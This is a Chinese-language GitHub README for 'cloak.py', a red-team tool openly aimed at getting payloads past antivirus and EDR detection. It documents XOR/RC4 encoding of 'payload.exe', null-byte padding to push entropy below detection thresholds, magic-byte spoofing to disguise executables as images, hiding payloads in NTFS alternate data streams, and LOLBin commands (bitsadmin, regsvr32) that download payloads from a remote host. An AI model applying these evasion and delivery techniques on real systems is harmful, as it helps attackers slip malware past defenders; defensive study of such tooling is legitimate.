Sh4dowTr4ck3r/cloak
GitHub: Sh4dowTr4ck3r/cloak
一款红队文件伪装与免杀工具,集成编码、熵值操控、文件头伪造、ADS隐蔽存储及LOLBin命令生成,帮助规避AV/EDR检测。
Stars: 0 | Forks: 0
# cloak.py
一个 Python 红队文件工具,用于编码、熵值操控、文件头伪造、备用数据流以及 LOLBin 命令生成。
## 要求
- Python 3.9+
- 跨平台
- 无外部依赖 (仅标准库)
## 模式
| Mode | 描述 |
|-----------|-----------------------------------------------------------------------------|
| `info` | 检查文件:大小、熵值分数、文件头指纹、魔术字节匹配 |
| `util` | 编码、降低熵值、ADS 读/写、重命名扩展名、伪造文件头 |
| `generate`| LOLBin 命令生成器 |
## 编码技术
当在 `info` 或 `util` 模式下传递 `--encode` 时,会出现一个交互式菜单:
| # | 技术 | 输出类型 | 可逆 | 如何解码 |
|---|-------------------|-------------|------------|---------------|
| 1 | Base64 | Text | 是 | Base64 解码 |
| 2 | Hex | Text | 是 | Hex 解码 |
| 3 | XOR | Binary | 是 | 再次 XOR |
| 4 | 字节反转 | Binary | 是 | 再次反转 |
| 5 | XOR → Base64 | Text | 是 | Base64 解码, 然后 XOR |
| 6 | XOR → Hex | Text | 是 | Hex 解码, 然后 XOR |
| 7 | RC4 | Binary | 是 | 再次 RC4 |
当传递 `--decode` 时,同样的 7 种技术可以反向使用。
### XOR / RC4 密钥格式
- XOR 接受单字节密钥(十六进制或十进制):
- `0x41` (十六进制)
- `65` (十进制)
- RC4 接受字符串或十六进制密钥:
- `mysecretkey`
- `0xDEADBEEF`
## 熵值操控
高熵值文件 (> 7.2) 会被大多数 AV/EDR 标记为加壳或加密。`--lower-entropy` 标志会按固定间隔用空字节填充文件,以便在编码前将分数降低到良性范围内。
**文件中不会写入标记。** 降低熵值后打印的间隔是恢复原始文件所需的唯一信息 —— 将其传递给 `--strip-padding`。
| 熵值 | 含义 |
|---------|----------------------|
| < 6.5 | 看起来良性 |
| 6.5–7.2 | 轻微可疑 |
| > 7.2 | 几乎肯定被标记 |
`info` 模式始终显示带有颜色标签的熵值分数。
### 间隔的工作原理
该工具自动选择能达到目标的最稀疏的空字节间隔,从而最小化大小增加:
| 间隔 | 模式 | 大小增加 |
|----------|----------------------------|---------------|
| 16 | 每 16 字节后插入空字节 | +6% |
| 4 | 每 4 字节后插入空字节 | +25% |
| 2 | 每 2 字节后插入空字节 | +50% |
| 1 | 每 1 字节后插入空字节 | +100% |
恢复公式(无需标记):`original_size = (padded_size × interval) ÷ (interval + 1)`
## 备用数据流 (ADS)
仅限 Windows/NTFS。将数据存储在附加到文件的命名流中 —— 对 Explorer 和 `dir` 不可见,不改变可见的文件大小。
示例:
```
file.txt ← normal file, dir shows this
file.txt:hidden ← ADS stream, invisible to casual inspection
```
使用 `dir /r` 或 `Get-Item -Stream *` 查看文件上的流。
## LOLBin 生成器
为 18 个 Windows 内置二进制文件生成随时可运行的命令。每个条目包括操作系统兼容性和检测说明,以便您在尝试之前了解目标系统上的可行性。
## 参数
| 标志 | 短参数 | 描述 |
|-------------------|-------|--------------------------------------------------------------------|
| `mode` | — | `info` \| `util` \| `generate` *(必填)* |
| `--carrier` | `-c` | 输入文件 |
| `--output` | `-o` | 输出文件路径 |
| `--encode` | `-e` | 显示交互式编码菜单(包括 RC4) |
| `--decode` | `-d` | 显示交互式解码菜单(包括 RC4) |
| `--lower-entropy` | — | 目标熵值,例如 `6.0` —— 通过空字节交错降低,不写入标记 |
| `--strip-padding` | — | 反向空字节填充 —— 传递 `--lower-entropy` 期间打印的间隔,例如 `--strip-padding 4` |
| `--new-extension` | `-n` | 替换所有扩展名(例如 `.pdf`) |
| `--add-extension` | `-a` | 追加到文件名(例如 `.bak`) |
| `--spoof-header` | `-x` | 用目标扩展名的魔术字节覆盖首字节 |
| `--show-hashes` | `-H` | 显示 MD5, SHA1, SHA256 |
| `--quiet` | `-q` | 隐藏横幅 |
| `--ads-write` | — | 将 `PAYLOAD` 写入 `--carrier` 的 ADS |
| `--ads-read` | — | 从 `--carrier` 读取 ADS 流到 `--output` |
| `--ads-list` | — | 列出 `--carrier` 上的所有 ADS 流 |
| `--ads-delete` | — | 从 `--carrier` 删除命名 ADS 流 |
| `--ads-stream` | — | 流名称(例如 `hidden` → `file.txt:hidden`) |
| `--lolbin` | — | 要使用的 LOLBin —— 如果省略则显示交互式菜单 |
| `--lolbin-file` | — | 要嵌入命令的本地 payload 文件路径 |
| `--lolbin-url` | — | 要嵌入下载 cradle 的远程 URL |
| `--lolbin-arg` | — | 额外参数(例如 rundll32 的 DLL 导出名称) |
| `--list` | — | 列出所有可用的 LOLBins 并退出 |
## 示例
### 检查文件
```
python cloak.py info -c payload.exe --show-hashes
```
### 检查并编码
```
python cloak.py info -c payload.exe -e
```
### RC4 编码
```
python cloak.py util -c payload.exe -e
# 在交互式菜单中选择 7
```
### 降低熵值后编码
```
python cloak.py util -c payload.exe --lower-entropy 6.0 -e
```
### 移除填充(恢复原始文件)
```
# 使用 --lower-entropy 打印的间隔编号
python cloak.py util -c payload.exe.padded --strip-padding 4 -o recovered.bin
```
### 解码文件
```
python cloak.py util -c payload.exe.enc -d
```
### 编码 + 重命名 + 伪造文件头
```
python cloak.py util -c payload.exe -e -n .jpg -x -H
```
### 编码 + 重命名 + 输出路径
```
python cloak.py util -c payload.exe -e -n .png -o disguised.png
```
### 将 payload 写入 ADS
```
python cloak.py util -c readme.txt --ads-write payload.enc --ads-stream hidden
```
### 读回 ADS 流
```
python cloak.py util -c readme.txt --ads-read --ads-stream hidden -o recovered.bin
```
### 列出文件上的所有 ADS 流
```
python cloak.py util -c readme.txt --ads-list
```
### 删除 ADS 流
```
python cloak.py util -c readme.txt --ads-delete --ads-stream hidden
```
### 列出所有 LOLBins
```
python cloak.py generate --list
```
### 交互式生成 LOLBin 命令
```
python cloak.py generate --lolbin-file payload.dll
```
### 生成特定的 LOLBin
```
python cloak.py generate --lolbin bitsadmin --lolbin-file test.txt --lolbin-url http://10.10.10.1/test.txt
```
### 将生成的命令保存到文件
```
python cloak.py generate --lolbin regsvr32 --lolbin-file payload.sct --lolbin-url http://10.10.10.1/p.sct -o commands.txt
```
## 支持的魔术字节
| 扩展名 | 签名 (十六进制) |
|------------------------|---------------------------------------------|
| `.pdf` | `25 50 44 46` |
| `.png` | `89 50 4E 47 0D 0A 1A 0A` |
| `.jpg` / `.jpeg` | `FF D8 FF` |
| `.gif` | `47 49 46 38` |
| `.zip` / `.docx` / `.xlsx` / `.pptx` | `50 4B 03 04` |
| `.7z` | `37 7A BC AF 27 1C` |
| `.gz` | `1F 8B` |
| `.bz2` | `42 5A 68` |
| `.rar` | `52 61 72 21 1A 07` |
| `.exe` / `.dll` | `4D 5A` |
| `.elf` | `7F 45 4C 46` |
| `.mp3` | `49 44 33` |
| `.mp4` | `00 00 00 18 66 74 79 70` |
| `.wav` | `52 49 46 46` |
| `.bmp` | `42 4D` |
| `.ico` | `00 00 01 00` |
| `.xml` | `3C 3F 78 6D 6C` |
| `.sqlite` | `53 51 4C 69 74 65 20 66 6F 72 6D 61 74 20 33` |
| `.class` | `CA FE BA BE` |
| `.dmg` | `78 01 73 0D 62 62` |
| `.iso` | `43 44 30 30 31` |
## 注意事项
- 任何操作后都不会留下临时文件
- 原始文件永远不会被修改 —— 输出始终写入新文件
- 完全支持带空格的路径
- ADS 功能需要 Windows/NTFS —— 在 Linux/Mac 上会优雅地报错
- `cloak.py` 需要 Python 3.9 或更高版本,无需外部包
## 伪造文件头与恢复
如果您使用 `--spoof-header`(例如,使文件看起来像 `.jpg` 或 `.png`),伪造的魔术字节将保留在输出文件中。这意味着:
- 如果您使用了 `--spoof-header`,**您无法使用 `--strip-padding` 恢复精确的原始文件** —— 文件头将不同。
- 为了完美的往返恢复(原始文件 = 恢复文件),当降低熵值或填充您稍后想要还原的文件时,**不要使用 `--spoof-header`**。
- 如果您只想更改扩展名或降低熵值,您可以安全地使用 `--strip-padding` 和正确的间隔来恢复原始文件。
**示例(无伪造,完美恢复):**
```
python cloak.py util -c payload.bin --lower-entropy 6.0 -n .png -o padded.png
python cloak.py util -c padded.png --strip-padding -o recovered.bin
```
**示例(带伪造,文件头将不同):**
```
python cloak.py util -c payload.bin --lower-entropy 6.0 -n .png -x -o padded_spoofed.png
python cloak.py util -c padded_spoofed.png --strip-padding -o recovered.bin
# recovered.bin 将包含 spoofed header,而非原始文件
```
标签:ADS, AV绕过, Base64, C2前置处理, DNS 反向解析, DNS 解析, FastAPI, HTTP工具, Living Off the Land, LOLBin, Python, RC4, Shellcode混淆, XOR, ZAP项目解析, 二进制处理, 免杀技术, 命令生成器, 备用数据流, 头部伪造, 安全测试, 攻击性安全, 文件伪装, 文件分析, 无后门, 暴力破解检测, 流量隐藏, 混淆工具, 熵值操控, 编码解码, 网络信息收集, 魔法字节